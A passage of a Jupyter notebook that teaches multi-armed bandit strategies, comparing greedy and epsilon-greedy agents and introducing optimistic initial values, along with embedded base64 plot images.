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\nIYQQQghRI/4//Hgxfw0SnLYAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1104b79e8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "agents = [\n", " bd.Agent(bandit, bd.GreedyPolicy()),\n", " bd.Agent(bandit, bd.EpsilonGreedyPolicy(0.01)),\n", " bd.Agent(bandit, bd.EpsilonGreedyPolicy(0.1)),\n", "]\n", "env = bd.Environment(bandit, agents, 'Epsilon-Greedy')\n", "scores, optimal = env.run(n_trials, n_experiments)\n", "env.plot_results(scores, optimal)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Optimistic Initial Values\n", "\n", "If our initial value estimates are low, the basic greedy approach will latch on to the first positive result and never try anything else. However, if we start with a high initial estimate, this has the effect of inducing early exploration as the estimates are driven down.\n", "\n", "By default our reward estimates are 0, but let's try starting with a prior expectation of 5." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAApYAAAHWCAYAAADNQsn7AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsnXdgFNXah59t6T2B0EnoTbogNTTBwgWu12vBa8Ny7YgX\nr4gFsGJXwI69oihIky4dpAQIkATSSSG9b7bPfH9sdndmSwoExfvN80+yszNnzszOnPM77/ue96hE\nURRRUFBQUFBQUFBQuEDUf3YFFBQUFBQUFBQU/jdQhKWCgoKCgoKCgkKLoAhLBQUFBQUFBQWFFkER\nlgoKCgoKCgoKCi2CIiwVFBQUFBQUFBRaBEVYKigoKCgoKCgotAiKsFRQULggNmzYwK233sqQIUMY\nOnQoN910E6tWrTqvspYuXSo7dsKECbz55pvnXbdVq1bRu3dvzGZzk/bfunUrL730kvPzk08+yU03\n3XTe5//555/p1atXk88PcOutt/Kf//zH+flC70lD17BkyRL69OlDWVmZ1+/z8vLo1asXa9asadK5\nHn/8cW655ZYm101BQeF/D0VYKigonDeLFi3iv//9Lz169ODtt9/mnXfeYfDgwSxcuJDZs2fT3DS5\n7777rkyEvffeexckVMaNG8eKFSvw8/Nr0v5ffPGFTGQ98MADvPjii+d9fpVKhUqlatYxCxcu5NFH\nH3V+bul7ImXatGmIosimTZu8fr9u3TqCgoKYPHlyi5xPQUHhfx/tn10BBQWFvya//PILK1as4L33\n3mPcuHHO7aNGjSIhIYFZs2bx+eefc+edd573OXr16nVBdYyMjCQyMvK8j+/YseMFnf986Nq1a4Pf\nX+g9kRIXF0f//v359ddfmTlzpsf369evZ8qUKQQEBLTYORUUFP63USyWCgoK58Xy5cuZOHGiTFQ6\nGD58ONOmTeOTTz5xbpswYQIfffQRc+bMYeDAgUyYMIFvvvnG+X2vXr1QqVQsWLCA2267zXmMw+27\natUqEhIS2LZtG9dccw0DBgzg1ltvpaioiG+++YaEhASGDx/OggULnJZSd1d0ZmYmd911F0OGDOHy\nyy/n4YcfJi8vD7C7oA8dOsT69evp3bs3APPmzePGG2901tFgMPDCCy8wevRohgwZwl133UVGRkaT\n79myZcuYOXMmq1at4sorr6R///7861//kpUhdYU3dk8AEhMTmTVrFkOGDKF///5Mnz6d7du3N7lO\n06ZNIzEx0cMdfubMGdLS0pg2bZpz2+HDh7nzzjud55oxYwY7duzwWu7Zs2fp1asX+/fvl22/4oor\n+OCDD5yfi4qKeOSRR5y/ybx586iurnZ+X1tbyxNPPMGoUaMYMGAAN998M4cOHWry9SkoKPyxKMJS\nQUGh2ZSVlZGWlsbo0aN97jN58mTKyso4efKkc9tHH32E0Whk6dKlXHXVVTz//POsXr0agBUrViCK\nIvfccw8LFizwWmZlZSWvvvoqs2fPZvHixaSkpHDbbbexdu1ann/+ee644w5WrFjBunXrALkrWhRF\n7r//flQqFcuWLePVV18lIyPDKeIWLlxInz59GDVqFCtWrPA4HmD27Nls2LCB2bNns3TpUsxmM3ff\nfTdGo7HJ9+7MmTN8+umnPP7447z99tsUFBQwf/58r/s2dk/y8/O58847ad26Ne+++y7vvPMOISEh\nzJ07l9ra2ibV55prrkGlUnm4w9evX0+bNm0YMWIEALm5ucyaNYu2bds6zxUYGMjcuXPR6/Vey24s\nDECv13PLLbeQlZXFK6+8wqJFizh8+DD33Xefc5/nn3+eY8eOsWjRIj788EPCw8P597//TU1NTZOu\nT0FB4Y9FcYUrKCg0m4KCAgDatWvnc58OHTogiiKFhYX069cPgOjoaN59913UajVjxowhPz+f5cuX\nM2PGDAYMGOA8zpc72Gw2M3/+fBISEgDYtWsXq1ev5ssvvyQ2NpaxY8eyevVqTpw4wd/+9jfZsWVl\nZeTk5DB79mynWIqOjmbnzp2IokjXrl0JDg4mIiKC/v37e5w7NTWVXbt28f777zN+/HjAblG84YYb\nSElJYdCgQU26d3q9nqVLlxIXFwdAaWkpCxYsoKqqivDwcNm+jd2T9PR0hg8fzuLFi53b2rRpw3XX\nXUdycjLDhg1rtD6RkZGMGTPGwx2+YcMG2T1MT09n5MiRsslNMTEx3HDDDaSmpjJkyBCPshuLsf3p\np58oLS1l8+bNtG7dGoDevXtzzTXXsHPnThISEjh69Chjxoxh0qRJgP2ef/TRR9TV1REaGtro9Sko\nKPyxKMJSQUGh2TgEg1bruwnRaDSyfQGmTJmCWu1ylEycOJHNmzdTU1PTZJEgFX0xMTFERUURGxvr\n3BYREeHVmhUdHU1cXBxPP/00+/fvZ/z48YwaNcqriPRGYmIiGo2GsWPHOrdFRUWxdevWJh3vICQk\nxCkqAWfdDQaDh7BsjISEBBISEjCZTGRmZpKVleV0PVssliaXM23aNObOnUtZWRnR0dEcP36cvLw8\npk+f7txn/PjxjB8/HqPR6DzX3r17m30uKYcPH6ZHjx5ER0djs9kAe1xrhw4dOHDgAAkJCQwZMoRv\nv/2WoqIiJkyYwPjx4/nvf/97XudTUFC4+CjCUkFBodm0b98ecFkuvZGfn49KpaJt27bOba1atZLt\nExUVBUBVVVWThWVwcLDsc1MnlqhUKj7//HOWLFnCpk2bWLlyJcHBwdx7773ce++9jR5fXV1NSEiI\nUzCfL/7+/rLPDqEtCEKzy7LZbLz44ov8+OOPiKJIfHy8c3JPc2bkT5w4kaCgIDZt2sTMmTNZt24d\nvXv3plu3brJzPffcc/z888/Oc/Xs2bPZ55JSUVFBUlISffv2lW1XqVSUlJQA9hCF2NhY1qxZw7Zt\n29BoNFx77bU8//zzTZ7tr6Cg8MehCEsFBYVmEx0dTZ8+fdi2bRv/+Mc/vO6zbds2oqOjZaKhqqpK\nto9jwsiFzNxuDm3atOGll17ihRdeIDExka+//pq33nqL4cOHO93OvggNDaW2thZBEGRW1wMHDhAf\nHy+zmv5RvP/++6xdu5Zly5YxYsQI/Pz8yMjIYO3atc0qx8/PjylTprBx40ZuvvlmNm7cyN133y3b\nZ9myZfz666+8++67XHHFFfj5+XHmzBlnPKs7jvhKd8FsMBic/4eFhTF06FDmz5/vIU4d1lt/f38e\nffRRHn30UdLS0li3bh3Lly+nZ8+ezJo1q1nXqaCgcPFRJu8oKCicF/fddx+//fYbGzdu9PjuyJEj\nrFy5kjvuuEM2gWPnzp2y/bZu3Urv3r2dVkipYGtpsrKyGD16NCkpKajVaoYOHcozzzzjjAMFGrRG\nDhgwAEEQ2L17t3NbZWUl99xzDwcPHrxo9W7onhw/fpzBgweTkJDgtN7t3bsXlUrVbAuoY3b4rl27\nqKioYOrUqR7nGjp0KGPHjvU4lzeLZVBQEIDz3gKcOHECk8nk/Dxo0CBycnKIj4+nb9++9O3bly5d\nuvDOO+9w6tQpRFFk2rRpzuwB3bt3Z86cOXTo0EFWroKCwqWDYrFUUFA4LyZPnswdd9zB3LlzOXjw\nIBMmTECj0bB//36+/PJLJkyYwF133SU75tSpUzz55JNce+217N69m23btrFs2TLn96GhoRw8eJAB\nAwa0aL5GsOdsDA8PZ968eTz00EMEBwfz7bffEhYWxvDhwwG7BS01NZWDBw96THzp168fI0eO5Kmn\nnuKxxx4jJiaGjz/+mPbt2zsnlpwvDbmSG7on/fr147PPPuOHH34gLi6OgwcP8vHHHwNyy2BTGDZs\nGK1bt+all15i5MiRREdHe5zrq6++4scff6Rz584cOHCA5cuXA1BXV+dRXnR0NL169eLDDz8kMjIS\nk8nEkiVLZHGk//znP/nyyy+56667mDVrFjqdjuXLl5OamsozzzyDSqWif//+LF26FD8/Pzp37sze\nvXvJzc3lyiuvbNb1KSgo/DFckhbLpKQkxowZ4/P7w4cPc9111zFo0CCmTZvGgQMH/sDaKSgoOHji\niSdYsmQJWVlZzJ07l0ceeYRDhw6xcOFClixZ4pFu5uabb0av1/PQQw+xZ88e3nzzTSZMmOD8/oEH\nHmDHjh3OyRnns3KNr2NUKhUffPABHTt25Nlnn+XBBx+kqqqKzz77jIiICABuu+02qqqq+Pe//01R\nUZFHGUuXLmXSpEm89tpr/Oc//yEsLIxPPvmEwMDAZtXRW9184e2eOLj33nu55pprePPNN533dMmS\nJXTq1Iljx441ux5/+9vfOHv2LDNmzPD47r777uOqq67ijTfe4KGHHmLfvn28++67tGvXjuPHj3st\n7/XXXyc2NpY5c+bw9ttvM3v2bOLj453fh4eH8+233xIdHc28efOYO3cuOp2OL774wpmc/qmnnuLa\na69l2bJl3H333Wzfvp3XX3+dyy+/vNnXp6CgcPFRiecbdX2RWLlyJa+88gpardYjsS5AcXExU6dO\n5aWXXmLSpEmsX7+eRYsWsWfPHiWQW0HhEmbChAlMnTqVxx577M+uioKCgoLCReKSslh+8MEHfP31\n19x///0+91m9ejWjRo1yup6uvfZavvjii2ZbNRQUFBQUFBQUFFqWS0pYXn/99axevdqZTNkbycnJ\ntG7dmoceeojhw4dz0003YbFY0Ol0f2BNFRQUmosy+FNQUFD43+eSEpYxMTGN7lNVVcWPP/7ILbfc\nwr59+5g2bZqyvJeCwl+Abdu2KW5wBQUFhf9xLilh2RT8/PxISEhgxIgRaDQaZs6cSVBQEImJiU06\n3mq1kpeXh9Vqvcg1VVBQUFBQUFD4/8VfTljGx8djNptl2wRBaPLKD4WFhUycOFHJgXYRuf2nOdyw\n4n42pu34s6uioKCgoKCg8AfylxOW06dPZ8+ePezcuRNRFPnqq68wm83OPHQKfz4GqxGATWk7G9lT\nwR1RFLHaFGu6goKCgsJfk7+EsFywYAELFy4EoHfv3rz//vu8/fbbDB06lNWrV/PBBx9ccB45hZZH\nq76wNZX/P7L0wGfc9cvjFNYU/9lVUVBQUFBQaDaX5Mo7w4YNk+WwXLRokez7kSNHsmrVqj+6WgrN\nRKu+JB+vS5o9Zw8B8NXxn3l89H1/cm0UFBQUFBSax1/CYqnw10Hqxr3ULZZGi5Fak/7ProZXrILi\nDldQUFD4X0QQBM6UZmK2mhvf+S+IIixbkMSCk6w7va3JE4n+6giiQLG+THa9RqvJ+b/mEhaWJquZ\n/2x6gQfWPUW18dJIVWUVbJJPSs5HhcZZeWoDHx3+FkEU/tR6iKKI0WL8U+sAYLZZOHbu1CVRFwUF\nX/ycspGnt73Gm/uX/9lVuSgowrKFEESBxbvf5ctjK9mf27TUR391fk7eyEPrnmbt6a3ObVJheSm7\nwveePUSJvgyj1URWZW6LlVtYW0Kpvvy8jjXb/jdHr/9fsdgsF7X8SmM1P5xcy9aM3RzM81wXvM5i\nYMOZ7RTVllzUegB8cuR77lz1H5KL0y76uRriy2MreWnXMt4/9PUfcj5RFKk21f4h5/qzyas6x9nK\n/D+7GhcNq83KuT8otv2Hk2sBSCw4wVv7llNuqGzxcwiC8KcNOBVh2UJITdpnSjP+xJr8cThejq+P\n/+zcZrRJheWfZ7GsNesRBN8vlb